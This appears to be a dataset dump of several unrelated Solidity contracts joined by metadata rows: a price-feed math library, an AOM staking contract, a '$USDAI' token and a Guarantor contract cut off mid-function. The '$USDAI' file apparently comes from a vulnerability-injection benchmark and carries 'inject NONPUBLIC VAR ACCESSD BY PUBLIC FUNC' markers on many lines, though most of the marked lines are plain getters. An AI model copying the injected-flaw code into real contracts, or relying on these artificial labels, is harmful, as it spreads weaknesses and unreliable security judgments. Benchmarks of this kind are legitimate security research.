should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } ////// lib/ds-thing/src/thing.sol // thing.sol - `auth` with handy mixins. your things should be DSThings // Copyright (C) 2017 DappHub, LLC // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DSThing is DSAuth, DSNote, DSMath { function S(string s) internal pure returns (bytes4) { return bytes4(keccak256(s)); } } ////// src/vox.sol /// vox.sol -- target price feed // Copyright (C) 2016, 2017 Nikolai Mushegian <nikolai@dapphub.com> // Copyright (C) 2016, 2017 Daniel Brockman <daniel@dapphub.com> // Copyright (C) 2017 Rain Break <rainbreak@riseup.net> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract SaiVox is DSThing { uint256 _par; uint256 _way; uint256 public fix; uint256 public how; uint256 public tau; function SaiVox(uint par_) public { _par = fix = par_; _way = RAY; tau = era(); } function era() public view returns (uint) { return block.timestamp; } function mold(bytes32 param, uint val) public note auth { if (param == 'way') _way = val; } // Dai Target Price (ref per dai) function par() public returns (uint) { prod(); return _par; } function way() public returns (uint) { prod(); return _way; } function tell(uint256 ray) public note auth { fix = ray; } function tune(uint256 ray) public note auth { how = ray; } function prod() public note { var age = era() - tau; if (age == 0) return; // optimised tau = era(); if (_way != RAY) _par = rmul(_par, rpow(_way, age)); // optimised if (how == 0) return; // optimised var wag = int128(how * age); _way = inj(prj(_way) + (fix < _par ? wag : -wag)); } function inj(int128 x) internal pure returns (uint256) { return x >= 0 ? uint256(x) + RAY : rdiv(RAY, RAY + uint256(-x)); } function prj(uint256 x) internal pure returns (int128) { return x >= RAY ? int128(x - RAY) : int128(RAY) - int128(rdiv(RAY, x)); } }
214,044
12,011
2968712d2fe12c6d985d668b4128c8672dd642d13b26b9b4a16071a68f93462d
27,244
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/2a/2A70A0A31926ff3c34bf85941F42f15DAE3C2F0e_AOMStaking.sol
4,139
16,492
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IOwnable { function manager() external view returns (address); function renounceManagement() external; function pushManagement(address newOwner_) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed(address(0), _owner); } function manager() public view override returns (address) { return _owner; } modifier onlyManager() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceManagement() public virtual override onlyManager() { emit OwnershipPushed(_owner, address(0)); _owner = address(0); } function pushManagement(address newOwner_) public virtual override onlyManager() { require(newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed(_owner, newOwner_); _newOwner = newOwner_; } function pullManagement() public virtual override { require(msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled(_owner, _newOwner); _owner = _newOwner; } } interface IsAOM { function rebase(uint256 aomProfit_, uint epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function gonsForBalance(uint amount) external view returns (uint); function balanceForGons(uint gons) external view returns (uint); function index() external view returns (uint); } interface IWarmup { function retrieve(address staker_, uint amount_) external; } interface IDistributor { function distribute() external returns (bool); } contract AOMStaking is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; address public immutable AOM; address public immutable sAOM; struct Epoch { uint length; uint number; uint endBlock; uint distribute; } Epoch public epoch; address public distributor; address public locker; uint public totalBonus; address public warmupContract; uint public warmupPeriod; constructor (address _AOM, address _sAOM, uint _epochLength, uint _firstEpochNumber, uint _firstEpochBlock) { require(_AOM != address(0)); AOM = _AOM; require(_sAOM != address(0)); sAOM = _sAOM; epoch = Epoch({ length: _epochLength, number: _firstEpochNumber, endBlock: _firstEpochBlock, distribute: 0 }); } struct Claim { uint deposit; uint gons; uint expiry; bool lock; // prevents malicious delays } mapping(address => Claim) public warmupInfo; function stake(uint _amount, address _recipient) external returns (bool) { rebase(); IERC20(AOM).safeTransferFrom(msg.sender, address(this), _amount); Claim memory info = warmupInfo[ _recipient ]; require(!info.lock, "Deposits for account are locked"); warmupInfo[ _recipient ] = Claim ({ deposit: info.deposit.add(_amount), gons: info.gons.add(IsAOM(sAOM).gonsForBalance(_amount)), expiry: epoch.number.add(warmupPeriod), lock: false }); IERC20(sAOM).safeTransfer(warmupContract, _amount); return true; } function claim (address _recipient) public { Claim memory info = warmupInfo[ _recipient ]; if (epoch.number >= info.expiry && info.expiry != 0) { delete warmupInfo[ _recipient ]; IWarmup(warmupContract).retrieve(_recipient, IsAOM(sAOM).balanceForGons(info.gons)); } } function forfeit() external { Claim memory info = warmupInfo[ msg.sender ]; delete warmupInfo[ msg.sender ]; IWarmup(warmupContract).retrieve(address(this), IsAOM(sAOM).balanceForGons(info.gons)); IERC20(AOM).safeTransfer(msg.sender, info.deposit); } function toggleDepositLock() external { warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock; } function unstake(uint _amount, bool _trigger) external { if (_trigger) { rebase(); } IERC20(sAOM).safeTransferFrom(msg.sender, address(this), _amount); IERC20(AOM).safeTransfer(msg.sender, _amount); } function index() public view returns (uint) { return IsAOM(sAOM).index(); } function rebase() public { if(epoch.endBlock <= block.number) { IsAOM(sAOM).rebase(epoch.distribute, epoch.number); epoch.endBlock = epoch.endBlock.add(epoch.length); epoch.number++; if (distributor != address(0)) { IDistributor(distributor).distribute(); } uint balance = contractBalance(); uint staked = IsAOM(sAOM).circulatingSupply(); if(balance <= staked) { epoch.distribute = 0; } else { epoch.distribute = balance.sub(staked); } } } function contractBalance() public view returns (uint) { return IERC20(AOM).balanceOf(address(this)).add(totalBonus); } function giveLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.add(_amount); IERC20(sAOM).safeTransfer(locker, _amount); } function returnLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.sub(_amount); IERC20(sAOM).safeTransferFrom(locker, address(this), _amount); } enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER } function setContract(CONTRACTS _contract, address _address) external onlyManager() { if(_contract == CONTRACTS.DISTRIBUTOR) { // 0 distributor = _address; } else if (_contract == CONTRACTS.WARMUP) { // 1 require(warmupContract == address(0), "Warmup cannot be set more than once"); warmupContract = _address; } else if (_contract == CONTRACTS.LOCKER) { // 2 require(locker == address(0), "Locker cannot be set more than once"); locker = _address; } } function setWarmup(uint _warmupPeriod) external onlyManager() { warmupPeriod = _warmupPeriod; } }
105,978
12,012
b418dff427aac5af936421a65a57414755d9ddb234c0e15ea62e59a0c6db57ea
20,899
.sol
Solidity
false
293466625
xf97/HuangGai
40a349be6102d5eb63893fb914659405ae162d93
src/securityAbandonerAndInjector/NonpublicVarAccessdByPublicFunc/manualCheck/0x0eed488853d116944e0c07dfdabe8dfee12061a1_nonpublicVarAccessdByPublicFunc.sol
2,561
9,166
pragma solidity 0.5.14; contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function balanceOf(address account) public view returns (uint256) { return _balances[account]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function symbol() public view returns (string memory) { return _symbol; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function decimals() public view returns (uint8) { return _decimals; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } } contract $USDAI is ERC20, ERC20Detailed { using SafeMath for uint256; // $USDC details: address private $USDCaddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; ERC20 private $USDC = ERC20($USDCaddress); uint256 private $USDCunit = 1000000; // $DAI details: address private $DAIaddress = 0x6B175474E89094C44Da98b954EedeAC495271d0F; ERC20 private $DAI = ERC20($DAIaddress); uint256 private $DAIunit = 1000000000000000000; // $USDAI details: uint8 public version = 1; uint256 private $USDAIunit = 1000000000000000000; string public emoji = "1"; constructor () public ERC20Detailed("USDAI Dollar", "USDAI", 18) {} // initializes $USDAI function mint$USDAI(uint256 amount) public { uint256 usdcSplit = amount.mul($USDCunit).div(2); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC uint256 daiSplit = amount.mul($DAIunit).div(2); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC $USDC.transferFrom(msg.sender, address(this), usdcSplit); // deposit $USDC split after approval //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC $DAI.transferFrom(msg.sender, address(this), daiSplit); // deposit $DAI split after approval //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC _mint(msg.sender, amount.mul($USDAIunit)); // mint $USDAI //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function redeem$USDAI(uint256 amount) public { uint256 usdcSplit = amount.mul($USDCunit).div(2); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC uint256 daiSplit = amount.mul($DAIunit).div(2); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC $USDC.transfer(msg.sender, usdcSplit); // return $USDC split //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC $DAI.transfer(msg.sender, daiSplit); // return $DAI split //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC _burn(msg.sender, amount.mul($USDAIunit)); // burn $USDAI //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } }
277,966
12,013
61b3466efe72154507043ad6bbfb3e1016e1f42965ab13592a9f1f2776753a26
19,903
.sol
Solidity
false
593908510
SKKU-SecLab/SmartMark
fdf0675d2f959715d6f822351544c6bc91a5bdd4
dataset/Solidity_codes_9324/0xbc2e0b081f63a89b7089a68f050d68033d3bd33a.sol
5,099
19,517
pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } abstract contract Pausable is Context { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () { _paused = false; } function paused() public view virtual returns (bool) { return _paused; } modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } struct GuarantorInfo { string name; string telegramId; string description; uint256 collateral; uint256 processingGuaranteeAmount; } abstract contract Guarantor is Pausable { address public admin; enum GuarantorState {notLocked, locked} uint256 public guarantorIndex; address[] public guarantors; mapping(address => uint256) public guarantorIndexOfOwner; mapping(uint256 => GuarantorState) public guarantorStates; mapping(uint256 => GuarantorInfo) public guarantorInfos; constructor() { admin = msg.sender; guarantors.push(address(0)); guarantorIndex = 1; } modifier onlyAdmin(){ require(msg.sender == admin, "only admin"); _; } modifier onlyGuarantorSelf(uint256 _guarantorIndex){ require(guarantors[_guarantorIndex] == msg.sender, "msg.sender should be the guarantor of guarantorIndex"); _; } modifier onlyNotProcessingGuaranteeAmount(uint256 _guarantorIndex){ require(guarantorInfos[_guarantorIndex].processingGuaranteeAmount == 0, "Only not processing guarantee amount"); _; } modifier onlyNotRegistered(){ require(guarantorIndexOfOwner[msg.sender] == 0, "The address of msg.sender is already registered"); _; } modifier onlyLocked(uint256 _guarantorIndex){ require(guarantorStates[_guarantorIndex] == GuarantorState.locked, "The state of guarantor is not locked"); _; } modifier onlyNotLocked(uint256 _guarantorIndex){ require(guarantorStates[_guarantorIndex] == GuarantorState.notLocked, "The state of guarantor is locked"); _; } event GuarantorRegister(uint256 indexed guarantorIndex, address guarantor, uint256 timestamp); event GuarantorDeposit(uint256 indexed guarantorIndex, address from, uint256 amount, uint256 timestamp); event GuarantorWithdraw(uint256 indexed guarantorIndex, address to, uint256 amount, uint256 timestamp); event LockGuarantor(uint256 indexed guarantorIndex, uint256 timestamp); event UnlockGuarantor(uint256 indexed guarantorIndex, uint256 timestamp); event InterveneCollateral(uint256 indexed guarantorIndex, address to, uint256 amount, uint256 timestamp); function _processDeposit(uint256 amount) internal virtual; function _processWithdraw(address to, uint256 amount) internal virtual; function guarantorRegister(uint256 _collateralAmount, string calldata _name, string calldata _telegramId, string calldata _description) external payable whenNotPaused onlyNotRegistered { require(_collateralAmount > 0, "Registering amount should not be zero"); _processDeposit(_collateralAmount); guarantors.push(msg.sender); guarantorIndexOfOwner[msg.sender] = guarantorIndex; guarantorStates[guarantorIndex] = GuarantorState.notLocked; GuarantorInfo memory newGuarantorInfo = GuarantorInfo({ name: _name, telegramId: _telegramId, description: _description, collateral: _collateralAmount, processingGuaranteeAmount: 0 }); guarantorInfos[guarantorIndex] = newGuarantorInfo; emit GuarantorRegister(guarantorIndex, msg.sender, block.timestamp); emit GuarantorDeposit(guarantorIndex, msg.sender, _collateralAmount, block.timestamp); guarantorIndex++; } function updateInfo(uint256 _guarantorIndex, string calldata _name, string calldata _telegramId, string calldata _description) external whenNotPaused onlyGuarantorSelf(_guarantorIndex) onlyNotLocked(_guarantorIndex) { guarantorInfos[_guarantorIndex].name = _name; guarantorInfos[_guarantorIndex].telegramId = _telegramId; guarantorInfos[_guarantorIndex].description = _description; } function guarantorDeposit(uint256 _guarantorIndex, uint256 _amount) external payable whenNotPaused { _processDeposit(_amount); guarantorInfos[_guarantorIndex].collateral += _amount; emit GuarantorDeposit(_guarantorIndex, msg.sender, _amount, block.timestamp); } function guarantorWithdraw(uint256 _guarantorIndex, address _to, uint256 _amount) external whenNotPaused 